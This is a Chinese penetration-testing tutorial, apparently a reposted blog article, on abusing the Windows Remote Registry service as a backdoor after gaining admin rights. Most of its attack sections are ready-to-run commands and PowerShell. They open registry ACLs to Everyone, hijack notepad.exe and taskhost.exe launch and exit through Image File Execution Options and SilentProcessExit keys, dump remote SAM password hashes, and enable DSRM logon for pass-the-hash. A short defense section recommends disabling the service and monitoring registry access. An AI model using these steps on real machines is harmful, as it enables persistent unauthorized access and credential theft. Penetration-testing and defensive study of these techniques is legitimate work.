渗透技巧——Windows 下的 Remote Registry

发布于 2024-09-08 18:49:15 字数 8477 浏览 16 评论 0

0x00 前言

Windows 下的 Remote Registry 允许远程用户修改当前计算机的注册表设置

在渗透测试中,获得了管理员权限后,可以利用 Remote Registry 服务作为后门

我受到 harmj0y 博客的启发,打算对 Remote Registry 的后门利用方法做扩展,并且加入一些我在研究 GPO 的经验,整理成文。

参考资料:http://www.harmj0y.net/blog/activedirectory/remote-hash-extraction-on-demand-via-host-security-descriptor-modification/

0x01 简介

本文将要介绍以下内容:

  • Remote Registry 的开启方法
  • 工作组和域环境下的利用方法
  • 防御检测

0x01 Remote Registry 的正常使用

测试环境:

  • Win7x64
  • 192.168.112.128

1、开启 Remote Registry 服务

net start remoteregistry

2、添加 ACL(Access Control List)

注册表位置: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg

(1) 通过界面添加权限,指定用户

如下图

Alt text

(2) 通过 poweshell 实现

添加用户 test1 的完全访问权限

$acl = Get-Acl HKLM:\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg
$person = [System.Security.Principal.NTAccount]"test1"
$access = [System.Security.AccessControl.RegistryRights]"FullControl"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl HKLM:\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg $acl

3、远程连接

使用另一台主机,连接 192.168.112.128

(1) 通过 regedit.exe

File -> Connect Network Registry...

如下图

Alt text

填入 IP,接着输入用户 test1 的口令,如下图

Alt text

连接成功后,如下图

Alt text

(2) 通过 powershell 实现

先建立 ipc 连接:

net use \\192.168.112.128 /u:test1 Password123!

查询 192.168.112.128 的注册表项: HKLM:\System\CurrentControlSet

$computer1='192.168.112.128'
$Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::LocalMachine,$computer1)
$RegSubKey = $Reg.OpenSubKey("System\CurrentControlSet")
$RegSubKey.GetSubKeyNames()

0x02 利用方法 1:远程执行程序

如果能够修改远程计算机的注册表设置,那么可以选择使用映像劫持,劫持进程的启动或者进程的结束

1、工作组环境

以劫持 notepad.exe 为例,实际启动的进程为 calc.exe

劫持进程的启动:

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v debugger /t REG_SZ /d "c:\windows\system32\calc.exe"

劫持进程的结束:

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "c:\windows\system32\calc.exe"

注:该方法学习自 https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/

2、域环境

域环境相比于工作组环境,存在一个可稳定的利用进程:taskhost.exe

默认情况下,域环境下的计算机组策略每 90 分钟更新,随机偏移为 0-30 分钟,域控制器的组策略每 5 分钟更新,组策略更新时会启动进程 taskhost.exe

也可以强制刷新组策略:

(1) 已有域管理员权限,刷新指定计算机的组策略

Invoke-GPUpdate -Computer "TEST\COMPUTER01"

(2) 刷新当前计算机的组策略,可用于测试环境下该方法的验证

gpupdate /force

注:详细的利用测试可参考之前的文章 《域渗透——利用 GPO 中的计划任务实现远程执行》

劫持 taskhost.exe 进程的启动:

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskhost.exe" /v debugger /t REG_SZ /d "c:\windows\system32\calc.exe"

劫持 taskhost.exe 进程的结束:

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskhost.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\taskhost.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\taskhost.exe" /v MonitorProcess /t REG_SZ /d "c:\windows\system32\calc.exe"

注:

劫持 taskhost.exe 进程的结束时,如果选择 calc.exe,会弹框提示,如下图

Alt text

0x03 利用方法 2:获取 SAM 文件中的用户 hash

通过注册表的 SAM 文件,能够还原出当前系统的本地用户 hash,详细方法可参考之前的文章 《渗透技巧-通过 SAM 数据库获得本地用户 hash》

简要流程如下:

  1. 读取注册表项 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa 下的键值 JD、Skew1、GBG 和 Data 中的内容,拼接成 syskey
  2. 读取注册表项 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users 下每个用户中 F 项和 V 项的内容,使用 syskey 进行一系列的解密

所以如果能够访问远程计算机的注册表文件,就能够还原出远程计算机所有本地用户的 hash

在利用上需要注意 HKLM\SAM\SAM 的默认访问权限为 "NT AUTHORITY\SYSTEM" (Administrator 没有访问权限),想要远程读取,还需要对这个注册表项及子项添加 ACL

利用流程如下:

1、开启 Remote Registry 服务

net start remoteregistry

2、添加 ACL(Access Control List)

注册表位置如下:

  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg
  • HKEY_LOCAL_MACHINE\SAM\SAM 及子项

对以上注册表项添加用户 Everyone 的完全访问权限,powershell 代码如下: (在 192.168.112.128 上以 System 权限执行)

function Add-RegistryACL{
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True)]
[String]
[ValidateNotNullOrEmpty()]
$Path
)
$acl = Get-Acl -Path $Path
$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"FullControl"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl $Path $acl
}
Add-RegistryACL -Path 'HKLM:\SAM\SAM'
Add-RegistryACL -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg'

3、使用 powershell 解密还原远程计算机的本地用户 hash

使用以下脚本:https://github.com/HarmJ0y/DAMP/blob/master/RemoteHashRetrieval.ps1

命令如下:

import-module .\RemoteHashRetrieval.ps1
Get-RemoteLocalAccountHash -ComputerName '192.168.112.128'

如下图

Alt text

成功获得 192.168.112.128 上的本地用户 hash

补充 1:

使用 powershell 解密还原本地所有用户的 Hash,代码可参考:https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-PowerDump.ps1

补充 2:

针对域控制器,远程导出域控制器的本地用户 hash,如果想要在域内使用 pass the hash,还需要修改域控制器的注册表,允许 DSRM 账户远程访问:

reg add HKLM\System\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2

0x04 防御检测的建议

防御:如果不需要 Remote Registry 服务,建议禁用

检测:如果能够访问远程计算机的注册表文件,可供利用的方法还有很多,在检测上,可以对关键服务器的注册表操作进行监控

0x05 小结

本文介绍了 Windows 下的 Remote Registry 的两种后门利用方法:远程执行程序和获取 SAM 文件中的用户 hash。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

孤芳又自赏

暂无简介

0 文章
0 评论
23 人气
更多

推荐作者

qq_7J1imQ

文章 0 评论 0

《一串符号》

文章 0 评论 0

hls.

文章 0 评论 0

雅心素梦

文章 0 评论 0

塔塔猫

文章 0 评论 0

微信用户

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文